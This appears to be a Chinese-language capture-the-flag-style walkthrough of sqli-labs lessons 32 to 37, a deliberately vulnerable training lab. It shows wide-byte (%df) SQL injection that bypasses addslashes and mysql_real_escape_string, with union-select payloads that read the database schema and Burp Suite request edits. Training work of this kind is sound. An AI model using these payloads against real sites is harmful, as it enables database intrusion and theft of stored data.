sqli-labs Less32-Less37
补充知识(宽字节注入)
推荐解码网站:
http://www.mytju.com/classcode/tools/urldecode_gb2312.asp
加上单引号就变成可以注入的地方
这里的转义符号并不影响语句的查询
Lesson 32 GET - Bypass custom filter adding slashes to dangerous chars(绕过)
(1)先测试
SELECT * FROM users WHERE id='1' LIMIT 0,1
(2)加上单引号测试一下
SELECT * FROM users WHERE id='1\'' LIMIT 0,1
本来应该报错却没有报错,在sql语句那里显示单引号被转义,而转义在sql查询语句中是无影响的。
这代表着转义,并不报错,我们也无法对其进行注入
查看一下源代码
发现对 ’/’ 进行了替换,加上了转义符号,使用补充的方法,用宽字节注入进行测试,即在单引号前加一个%df。
尝试一下
SELECT * FROM users WHERE id='1�\' ' LIMIT 0,1
出现报错
加上注释符
?id=1%df' --+
恢复正常
(3)使用union select语句进行联合查询(记得将id值破坏)
?id=-1%df' union select 1,2,3--+
回显出位置
(4)查库
?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
(5)查表(这里要注意后面的’security’单引号会被加上转移符号,最好转成16进制数)
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
接下来操作不再展示,记住注意事项即可
Lesson 32结束
Lesson 33 GET - Bypass AddSlashes()
补充知识:
定义和用法
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
此关与32关不同的地方,在于32关是自定义过滤,这一关使用的是 addslashes(),会更全面地过滤。
查看源代码
(1)先测试
SELECT * FROM users WHERE id='1' LIMIT 0,1
加上单引号
SELECT * FROM users WHERE id='1\' ' LIMIT 0,1
没有错误,单引号被转义
此时还可以使用%df
报错
加上注释符
?id=1%df' --+
恢复正常
(2)使用union select语句进行联合查询(记得破坏id值)
?id=-1%df' union select 1,2,3--+
回显出位置
接下来操作不再展示,和之前一样
Lesson 33结束
Lesson 34 POST - Bypass AddSlashes()
(1)先测试
uname=admin&passwd=admin&submit=Submit
SELECT username, password FROM users WHERE username='admin' and password='admin' LIMIT 0,1
登录成功
随便登录一下,查看一下情况
登录失败
小注入一下,看能否成功(a%df’ a%df’)
按理来说应该是成功注入的,却没有成功(单引号被转义)
查看源代码
发现用户名和密码要被转义
抓包一下
分析一下
uname=a %25 df %5C %27
可以知道,它把%df的%进行了转义,转义成了%25,所以无法成功
我们直接在burp suite中把25去掉,然后关闭。就看到sqli-labs界面,成功出现了语法错误。
(2)但是我们无法直接在界面上改变值进行提交,因为还会被转码
原来:uname=a%df%5C%27&passwd=1111&submit=Submit
执行后:
我们还是在burp suite中进行改变(这里只有两列)
uname=a%df' union select 1,2# &passwd=1111&submit=Submit
提交(Forward),并关闭。再回来看
回显成功
然后在burp suite中继续进行注入即可
法二:
借鉴了其他人的方法,将UTF-8的单引号转换成UTF-16的单引号模式
�’
(1)
出现语法错误
(2)加上注释符
(3)使用union select语句
回显成功
注意:这里注释符要使用#而不是--+,否则无法成功
使用POST传参,要使用#作为注释符
Lesson 34结束
Lesson 35 GET - Bypass Add slashes (we don’t need them) Integer based
(1)先测试
SELECT * FROM users WHERE id=1 LIMIT 0,1
显示正常,这里id值没有进行任何包裹
查看源代码
这里对id值进行了转义处理。但是这里并没有对id值进行单引号包裹,所以并无影响。
(2)直接使用union select语句进行联合查询(记得对id值进行破坏)
?id=-1 union select 1,2,3--+
回显出位置
接下来还是寻常的操作,我们要尽量避免使用到单引号,查表查字段时使用16进制即可。
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
查库
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
查表
剩下的不再展示
Lesson 35结束
Lesson 36 GET - Bypass MySQL_real_escape_string
(1)进行代码审计,查看源代码
发现这里使用了mysql_real_escape_string函数
** mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
(2)先测试
SELECT * FROM users WHERE id='1' LIMIT 0,1
显示正常,id值被单引号包裹
(3)加上单引号
SELECT * FROM users WHERE id='1\'' LIMIT 0,1
单引号被转义,所以没有进行报错
在单引号前加上%df
出现报错
加上注释符
?id=1%df' --+
恢复正常
(4)使用union select语句进行联合查询(记得破坏id值)
?id=-1%df'union select 1,2,3 --+
回显出位置
接下来的就是常规操作,不再展示
Lesson 36结束
Lesson 37 POST - Bypass MySQL_real_escape_string
(1)查看源代码
这个语句说明了只查询了用户名和密码,所以有两列
这里与34关不同的就是使用了不同的函数
(2)方法与34关相似
成功回显
(3)burp suite方法
进行抓包
将25去掉,继续提交
回显成功
Lesson 37结束